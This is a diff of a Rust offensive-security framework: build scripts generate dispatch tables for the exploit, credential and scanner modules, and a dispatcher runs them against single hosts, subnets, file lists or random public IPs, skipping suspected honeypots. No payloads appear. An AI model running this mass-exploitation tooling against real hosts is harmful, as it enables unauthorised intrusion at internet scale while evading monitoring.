"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found cred module: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,50 +1 @@
|
||||
// Include generated dispatch code in a submodule to avoid name collisions if any
|
||||
// But `include!` effectively pastes code.
|
||||
// The error says `AVAILABLE_MODULES` is defined multiple times.
|
||||
// Ah, `exploit.rs` likely includes `scanner_dispatch.rs` inadvertently?
|
||||
// No, look at error:
|
||||
// `scanner_dispatch.rs:4:1` defined `AVAILABLE_MODULES`
|
||||
// `exploit_dispatch.rs:4:1` defined `AVAILABLE_MODULES`
|
||||
// And `src/commands/mod.rs` likely imports both via `mod exploit` and `mod scanner`?
|
||||
// No, they are separate modules `exploit.rs` and `scanner.rs`.
|
||||
//
|
||||
// Wait, `exploit.rs` has: include!(... exploit_dispatch.rs)
|
||||
// `scanner.rs` has: include!(... scanner_dispatch.rs)
|
||||
// They are in separate files `src/commands/exploit.rs` and `src/commands/scanner.rs`.
|
||||
// They should be separate namespaces.
|
||||
//
|
||||
// Error: `error[E0428]: the name AVAILABLE_MODULES is defined multiple times`
|
||||
// Location: `scanner_dispatch.rs` defined, previous `exploit_dispatch.rs`.
|
||||
// THIS SUGGESTS `scanner.rs` includes BOTH?
|
||||
// OR `exploit.rs` includes BOTH?
|
||||
//
|
||||
// Let's check `exploit.rs` content again.
|
||||
// I see I messed up `exploit.rs` in previous step?
|
||||
// I see:
|
||||
// ```rust
|
||||
// use anyhow::Result;
|
||||
//
|
||||
// // Include generated dispatch code
|
||||
// include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
|
||||
//
|
||||
// // Re-export run function as `run_exploit` to match previous API usage if needed,
|
||||
// // or cluse anyhow::Result;
|
||||
//
|
||||
// include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
|
||||
//
|
||||
// pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
|
||||
// dispatch(module_name, target).await
|
||||
// }
|
||||
// ```
|
||||
// OMG, I pasted `scanner` content INTO `exploit.rs` by accident during the `multi_replace` failure recovery!
|
||||
// `exploit.rs` has garbage content combining exploit and scanner.
|
||||
// I need to reset `exploit.rs`.
|
||||
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
|
||||
|
||||
// Re-export run function as `run_exploit` to match previous API usage in mod.rs
|
||||
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
|
||||
@@ -1,81 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let exploits_root = Path::new("src/modules/exploits");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found exploit: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
+500
-54
@@ -1,85 +1,120 @@
|
||||
pub mod exploit;
|
||||
pub mod scanner;
|
||||
pub mod creds;
|
||||
pub mod plugins;
|
||||
|
||||
use anyhow::Result;
|
||||
// Auto-generated registry of all module categories (from build.rs)
|
||||
mod registry {
|
||||
include!(concat!(env!("OUT_DIR"), "/module_registry.rs"));
|
||||
}
|
||||
|
||||
use anyhow::{Result, Context};
|
||||
use crate::cli::Cli;
|
||||
use crate::config;
|
||||
use crate::utils::normalize_target;
|
||||
use crate::modules::creds::utils::{
|
||||
is_subnet_target, parse_subnet, subnet_host_count,
|
||||
is_mass_scan_target, generate_random_public_ip, parse_exclusions,
|
||||
is_ip_checked, mark_ip_checked, EXCLUDED_RANGES,
|
||||
};
|
||||
|
||||
/// CLI dispatcher
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
// Target resolution logic...
|
||||
crate::utils::verbose_log(cli_args.verbose, "Handling CLI command...");
|
||||
|
||||
let raw = if let Some(ref t) = cli_args.target {
|
||||
t.clone()
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
|
||||
ip
|
||||
match config::GLOBAL_CONFIG.get_target() {
|
||||
Some(t) => {
|
||||
crate::mprintln!("[*] Using global target: {}", t);
|
||||
t
|
||||
}
|
||||
Err(e) => return Err(anyhow::anyhow!("No target specified and global target error: {}", e)),
|
||||
None => return Err(anyhow::anyhow!("No target specified and global target not set")),
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
|
||||
};
|
||||
|
||||
let target = normalize_target(&raw)?;
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
|
||||
match command {
|
||||
"exploit" => {
|
||||
let trimmed = module.trim_start_matches("exploits/");
|
||||
exploit::run_exploit(trimmed, &target).await?;
|
||||
},
|
||||
"scanner" => {
|
||||
let trimmed = module.trim_start_matches("scanners/");
|
||||
scanner::run_scan(trimmed, &target).await?;
|
||||
},
|
||||
"creds" => {
|
||||
let trimmed = module.trim_start_matches("creds/");
|
||||
creds::run_cred_check(trimmed, &target).await?;
|
||||
},
|
||||
_ => eprintln!("Unknown command '{}'", command),
|
||||
}
|
||||
// Skip normalization for mass scan targets (random, 0.0.0.0, file paths)
|
||||
let target = if is_mass_scan_target(&raw) {
|
||||
raw.clone()
|
||||
} else {
|
||||
normalize_target(&raw)?
|
||||
};
|
||||
crate::utils::verbose_log(cli_args.verbose, &format!("Normalized target: {}", target));
|
||||
|
||||
let module = match cli_args.module.clone() {
|
||||
Some(m) => m,
|
||||
None => String::new(),
|
||||
};
|
||||
|
||||
// Resolve the module name by trimming category prefix
|
||||
let (category, module_name) = match command {
|
||||
"exploit" => ("exploits", module.trim_start_matches("exploits/").to_string()),
|
||||
"scanner" => ("scanners", module.trim_start_matches("scanners/").to_string()),
|
||||
"creds" => ("creds", module.trim_start_matches("creds/").to_string()),
|
||||
"plugins" => ("plugins", module.trim_start_matches("plugins/").to_string()),
|
||||
other => (other, module.clone()),
|
||||
};
|
||||
|
||||
// CIDR auto-expansion: iterate over every IP in the subnet concurrently
|
||||
dispatch_with_cidr(category, &module_name, &target).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Interactive module runner
|
||||
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> Result<()> {
|
||||
tracing::info!(module = %module_path, target = %raw_target, "Starting module execution");
|
||||
crate::utils::verbose_log(verbose, &format!("Attempting to run module '{}' against '{}'", module_path, raw_target));
|
||||
|
||||
// 1. Resolve module using compile-time list
|
||||
let available = discover_modules();
|
||||
|
||||
|
||||
// Fuzzy matching logic
|
||||
let full_match = available.iter().find(|m| m == &module_path);
|
||||
let short_match = available.iter().find(|m| {
|
||||
m.rsplit_once('/').map(|(_, short)| short == module_path).unwrap_or(false)
|
||||
});
|
||||
|
||||
if let Some(m) = full_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Exact module match found: {}", m));
|
||||
} else if let Some(m) = short_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Short module match found: {}", m));
|
||||
}
|
||||
|
||||
let resolved = if let Some(m) = full_match {
|
||||
m
|
||||
} else if let Some(m) = short_match {
|
||||
m
|
||||
} else {
|
||||
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
|
||||
// List modules grouped by category
|
||||
// TODO: Could use `list_all_modules` logic from utils if public, or reimplement simply here
|
||||
for m in available {
|
||||
println!(" {}", m);
|
||||
use colored::*;
|
||||
crate::meprintln!("{}", format!("Unknown module '{}'.", module_path).red());
|
||||
|
||||
// Fuzzy matching
|
||||
let best_match = available.iter()
|
||||
.map(|m| (m, strsim::levenshtein(module_path, m)))
|
||||
.min_by_key(|&(_, dist)| dist);
|
||||
|
||||
if let Some((suggestion, dist)) = best_match {
|
||||
if dist < 5 {
|
||||
crate::meprintln!("{}", format!(" Did you mean: {}?", suggestion).yellow());
|
||||
}
|
||||
}
|
||||
return Ok(());
|
||||
|
||||
return Err(anyhow::anyhow!("Module not found"));
|
||||
};
|
||||
|
||||
// 2. Resolve target
|
||||
let target_str = if raw_target.is_empty() {
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
|
||||
ip
|
||||
match config::GLOBAL_CONFIG.get_target() {
|
||||
Some(t) => {
|
||||
crate::mprintln!("[*] Using global target: {}", t);
|
||||
t
|
||||
}
|
||||
Err(e) => return Err(anyhow::anyhow!("Global target error: {}", e)),
|
||||
None => return Err(anyhow::anyhow!("No global target set")),
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified."));
|
||||
@@ -87,31 +122,442 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
} else {
|
||||
raw_target.to_string()
|
||||
};
|
||||
|
||||
let target = normalize_target(&target_str)?;
|
||||
|
||||
// Skip normalization for mass scan targets (random, 0.0.0.0, file paths)
|
||||
let target = if is_mass_scan_target(&target_str) {
|
||||
target_str.clone()
|
||||
} else {
|
||||
normalize_target(&target_str)?
|
||||
};
|
||||
crate::utils::verbose_log(verbose, &format!("Target resolved to: {}", target));
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
let module_name = parts.next().unwrap_or("");
|
||||
|
||||
match category {
|
||||
"exploits" => exploit::run_exploit(module_name, &target).await?,
|
||||
"scanners" => scanner::run_scan(module_name, &target).await?,
|
||||
"creds" => creds::run_cred_check(module_name, &target).await?,
|
||||
_ => eprintln!("❌ Category '{}' is not supported.", category),
|
||||
}
|
||||
dispatch_with_cidr(category, module_name, &target).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Helper to aggregate all available modules from generated constants
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
/// Dispatch a module against a target, with automatic CIDR subnet expansion
|
||||
/// and comma-separated multi-target support.
|
||||
///
|
||||
/// Handles:
|
||||
/// - Single IP/hostname: dispatches directly
|
||||
/// - CIDR subnet: iterates over every IP concurrently
|
||||
/// - Comma-separated list: dispatches each entry (with subnet expansion for CIDRs)
|
||||
async fn dispatch_with_cidr(category: &str, module_name: &str, target: &str) -> Result<()> {
|
||||
use colored::Colorize;
|
||||
|
||||
// Map exploit::AVAILABLE_MODULES -> "exploits/{name}"
|
||||
modules.extend(exploit::AVAILABLE_MODULES.iter().map(|m| format!("exploits/{}", m)));
|
||||
modules.extend(scanner::AVAILABLE_MODULES.iter().map(|m| format!("scanners/{}", m)));
|
||||
modules.extend(creds::AVAILABLE_MODULES.iter().map(|m| format!("creds/{}", m)));
|
||||
// Comma-separated multi-target: split and dispatch each
|
||||
if target.contains(',') {
|
||||
let targets: Vec<&str> = target.split(',').map(|t| t.trim()).filter(|t| !t.is_empty()).collect();
|
||||
let count = targets.len();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Multi-target detected: {} targets — running '{}/{}' against each",
|
||||
count, category, module_name
|
||||
).cyan());
|
||||
|
||||
modules
|
||||
for (i, t) in targets.iter().enumerate() {
|
||||
crate::mprintln!("\n{}", format!(
|
||||
"[*] === Target {}/{}: {} ===", i + 1, count, t
|
||||
).cyan().bold());
|
||||
if let Err(e) = dispatch_single_target(category, module_name, t).await {
|
||||
crate::meprintln!("{}", format!("[!] Target '{}' failed: {:?}", t, e).red());
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!("\n{}", format!(
|
||||
"[*] Multi-target scan complete: {} targets processed", count
|
||||
).green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
dispatch_single_target(category, module_name, target).await
|
||||
}
|
||||
|
||||
/// Dispatch a single target (IP/hostname, CIDR subnet, file, or random mass scan).
|
||||
///
|
||||
/// This is the unified framework-level dispatcher that ensures every module
|
||||
/// supports all target types: single IP, CIDR, file-based target lists, and
|
||||
/// random internet scanning — even if the module has no built-in mass scan handler.
|
||||
async fn dispatch_single_target(category: &str, module_name: &str, target: &str) -> Result<()> {
|
||||
use colored::Colorize;
|
||||
use std::sync::{Arc, atomic::{AtomicUsize, Ordering}};
|
||||
|
||||
let is_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
let is_file = !is_random && !is_subnet_target(target) && std::path::Path::new(target).is_file();
|
||||
|
||||
// --- Check if honeypot detection is enabled (global option, default: on) ---
|
||||
// Users can disable with: setg honeypot_detection n
|
||||
// API users can disable with: prompts: { "honeypot_detection": "n" }
|
||||
let honeypot_enabled = {
|
||||
let config = crate::config::get_module_config();
|
||||
if let Some(val) = config.custom_prompts.get("honeypot_detection") {
|
||||
!matches!(val.to_lowercase().as_str(), "n" | "no" | "false" | "0" | "off" | "disabled")
|
||||
} else if let Some(val) = crate::global_options::GLOBAL_OPTIONS.try_get("honeypot_detection") {
|
||||
!matches!(val.to_lowercase().as_str(), "n" | "no" | "false" | "0" | "off" | "disabled")
|
||||
} else {
|
||||
true // enabled by default
|
||||
}
|
||||
};
|
||||
|
||||
// --- Random / Internet-wide mass scan (target == "random" or "0.0.0.0") ---
|
||||
if is_random {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Random mass scan — running '{}/{}' against random public IPs (Ctrl+C to stop)",
|
||||
category, module_name
|
||||
).cyan().bold());
|
||||
|
||||
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
let max_hosts: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("max_random_hosts")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(10_000);
|
||||
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||
let success_count = Arc::new(AtomicUsize::new(0));
|
||||
let fail_count = Arc::new(AtomicUsize::new(0));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
|
||||
|
||||
let subnet_filter: Arc<Option<ipnetwork::IpNetwork>> = Arc::new(None);
|
||||
|
||||
let category = category.to_string();
|
||||
let module_name = module_name.to_string();
|
||||
let state_file = format!("{}_{}_mass_state.log", category, module_name)
|
||||
.replace('/', "_");
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Will scan up to {} random hosts with concurrency {} (setg max_random_hosts / concurrency to change)", max_hosts, concurrency).cyan());
|
||||
|
||||
for _ in 0..max_hosts {
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.context("Semaphore closed")?;
|
||||
let sc = success_count.clone();
|
||||
let fc = fail_count.clone();
|
||||
let tc = checked.clone();
|
||||
let cat = category.clone();
|
||||
let mname = module_name.clone();
|
||||
let exc = exclusions.clone();
|
||||
let sf = state_file.clone();
|
||||
let subnet = subnet_filter.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
// Generate IP: random within subnet, or random public
|
||||
let ip = if let Some(ref net) = *subnet {
|
||||
generate_random_ip_in_network(net)
|
||||
} else {
|
||||
generate_random_public_ip(&exc)
|
||||
};
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if is_ip_checked(&ip, &sf).await {
|
||||
tc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
mark_ip_checked(&ip, &sf).await;
|
||||
|
||||
// Quick honeypot check before running module
|
||||
if honeypot_enabled && crate::utils::network::quick_honeypot_check(&ip_str).await {
|
||||
crate::meprintln!("[!] Skipping {} — honeypot detected", ip_str);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
if idx % 100 == 0 || idx == 1 {
|
||||
crate::mprintln!("[*] Progress: {} hosts scanned | {} ok | {} err",
|
||||
idx,
|
||||
sc.load(Ordering::Relaxed),
|
||||
fc.load(Ordering::Relaxed));
|
||||
}
|
||||
match registry::dispatch_by_category(&cat, &mname, &ip_str).await {
|
||||
Ok(_) => { sc.fetch_add(1, Ordering::Relaxed); }
|
||||
Err(e) => {
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
tracing::debug!("Mass scan {} failed: {:?}", ip_str, e);
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Wait for all tasks: acquire all permits back
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await;
|
||||
}
|
||||
|
||||
print_scan_summary("Mass Scan",
|
||||
checked.load(Ordering::Relaxed),
|
||||
success_count.load(Ordering::Relaxed),
|
||||
fail_count.load(Ordering::Relaxed));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// --- File-based target list ---
|
||||
if is_file {
|
||||
let content = crate::utils::safe_read_to_string_async(target, None).await
|
||||
.with_context(|| format!("Failed to read target file '{}'", target))?;
|
||||
let targets: Vec<String> = content.lines()
|
||||
.map(|s| s.trim().to_string())
|
||||
.filter(|s| !s.is_empty() && !s.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
let count = targets.len();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] File target list: {} hosts from '{}' — running '{}/{}'",
|
||||
count, target, category, module_name
|
||||
).cyan().bold());
|
||||
|
||||
let concurrency = 50usize;
|
||||
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||
let success_count = Arc::new(AtomicUsize::new(0));
|
||||
let fail_count = Arc::new(AtomicUsize::new(0));
|
||||
let total = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let category = category.to_string();
|
||||
let module_name = module_name.to_string();
|
||||
|
||||
for ip_str in targets {
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.context("Semaphore closed")?;
|
||||
let sc = success_count.clone();
|
||||
let fc = fail_count.clone();
|
||||
let tc = total.clone();
|
||||
let cat = category.clone();
|
||||
let mname = module_name.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
// Quick honeypot check before running module
|
||||
if honeypot_enabled && crate::utils::network::quick_honeypot_check(&ip_str).await {
|
||||
crate::meprintln!("[!] Skipping {} — honeypot detected", ip_str);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
if idx % 50 == 0 || idx == 1 {
|
||||
crate::mprintln!("[*] Progress: {}/{} hosts processed...", idx, count);
|
||||
}
|
||||
match registry::dispatch_by_category(&cat, &mname, &ip_str).await {
|
||||
Ok(_) => { sc.fetch_add(1, Ordering::Relaxed); }
|
||||
Err(e) => {
|
||||
crate::meprintln!("[!] {} failed: {:?}", ip_str, e);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await;
|
||||
}
|
||||
|
||||
print_scan_summary("File Target Scan",
|
||||
total.load(Ordering::Relaxed),
|
||||
success_count.load(Ordering::Relaxed),
|
||||
fail_count.load(Ordering::Relaxed));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// --- CIDR subnet expansion — handles ANY size subnet via lazy iteration ---
|
||||
if is_subnet_target(target) {
|
||||
let network = parse_subnet(target)?;
|
||||
let host_count = subnet_host_count(&network);
|
||||
|
||||
// /32 or /128 — single host, dispatch directly without subnet machinery
|
||||
if host_count <= 1 {
|
||||
let ip_str = network.network().to_string();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Single-host subnet {} — dispatching as {}", target, ip_str
|
||||
).cyan());
|
||||
registry::dispatch_by_category(category, module_name, &ip_str).await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Concurrency from global options, default 50
|
||||
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
|
||||
// Warn for very large subnets but don't block
|
||||
if host_count > 1_000_000 {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[!] Large subnet: {} ({} hosts) — this will take a while. Concurrency: {}. Ctrl+C to stop.",
|
||||
network, host_count, concurrency
|
||||
).yellow().bold());
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Subnet: {} ({} hosts) — running '{}/{}' with concurrency {}",
|
||||
network, host_count, category, module_name, concurrency
|
||||
).cyan());
|
||||
|
||||
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||
let success_count = Arc::new(AtomicUsize::new(0));
|
||||
let fail_count = Arc::new(AtomicUsize::new(0));
|
||||
let total = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let category = category.to_string();
|
||||
let module_name = module_name.to_string();
|
||||
|
||||
// Adaptive progress interval: every 50 for small, 1000 for medium, 10000 for huge
|
||||
let progress_interval = if host_count > 10_000_000 {
|
||||
10_000
|
||||
} else if host_count > 100_000 {
|
||||
1_000
|
||||
} else if host_count > 1_000 {
|
||||
100
|
||||
} else {
|
||||
50
|
||||
};
|
||||
|
||||
// Lazy iteration — never allocates all IPs in memory
|
||||
for ip in network.iter() {
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.context("Semaphore closed")?;
|
||||
let sc = success_count.clone();
|
||||
let fc = fail_count.clone();
|
||||
let tc = total.clone();
|
||||
let cat = category.clone();
|
||||
let mname = module_name.clone();
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
tokio::spawn(async move {
|
||||
if honeypot_enabled && crate::utils::network::quick_honeypot_check(&ip_str).await {
|
||||
crate::meprintln!("[!] Skipping {} — honeypot detected", ip_str);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
if idx % progress_interval == 0 || idx == 1 {
|
||||
crate::mprintln!("[*] Progress: {}/{} hosts ({:.1}%) | {} ok | {} err",
|
||||
idx, host_count,
|
||||
(idx as f64 / host_count as f64) * 100.0,
|
||||
sc.load(Ordering::Relaxed),
|
||||
fc.load(Ordering::Relaxed));
|
||||
}
|
||||
match registry::dispatch_by_category(&cat, &mname, &ip_str).await {
|
||||
Ok(_) => { sc.fetch_add(1, Ordering::Relaxed); }
|
||||
Err(e) => {
|
||||
crate::meprintln!("[!] {} failed: {:?}", ip_str, e);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await;
|
||||
}
|
||||
|
||||
print_scan_summary("Subnet Scan",
|
||||
host_count as usize,
|
||||
success_count.load(Ordering::Relaxed),
|
||||
fail_count.load(Ordering::Relaxed));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// --- Single target ---
|
||||
if honeypot_enabled && crate::utils::network::quick_honeypot_check(target).await {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[!] Target {} appears to be a honeypot (11+ common ports open) — skipping",
|
||||
target
|
||||
).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
registry::dispatch_by_category(category, module_name, target).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Generate a random IP address within a given network range.
|
||||
/// Works for both IPv4 and IPv6 subnets of any size, including private ranges.
|
||||
fn generate_random_ip_in_network(net: &ipnetwork::IpNetwork) -> std::net::IpAddr {
|
||||
use rand::RngExt;
|
||||
let mut rng = rand::rng();
|
||||
match net {
|
||||
ipnetwork::IpNetwork::V4(v4net) => {
|
||||
let base: u32 = v4net.network().into();
|
||||
let prefix = v4net.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
return std::net::IpAddr::V4(v4net.network());
|
||||
}
|
||||
let host_bits = 32 - prefix;
|
||||
// Mask for randomizable host portion
|
||||
let host_mask: u32 = (1u64.checked_shl(host_bits).unwrap_or(0) - 1) as u32;
|
||||
let net_mask: u32 = !host_mask;
|
||||
let random_host: u32 = rng.random::<u32>() & host_mask;
|
||||
let ip = (base & net_mask) | random_host;
|
||||
std::net::IpAddr::V4(std::net::Ipv4Addr::from(ip))
|
||||
}
|
||||
ipnetwork::IpNetwork::V6(v6net) => {
|
||||
let base: u128 = v6net.network().into();
|
||||
let prefix = v6net.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
return std::net::IpAddr::V6(v6net.network());
|
||||
}
|
||||
let host_bits = 128 - prefix;
|
||||
let host_mask: u128 = if host_bits >= 128 {
|
||||
u128::MAX
|
||||
} else {
|
||||
(1u128 << host_bits) - 1
|
||||
};
|
||||
let net_mask: u128 = !host_mask;
|
||||
let random_host: u128 = (rng.random::<u128>()) & host_mask;
|
||||
let ip = (base & net_mask) | random_host;
|
||||
std::net::IpAddr::V6(std::net::Ipv6Addr::from(ip))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
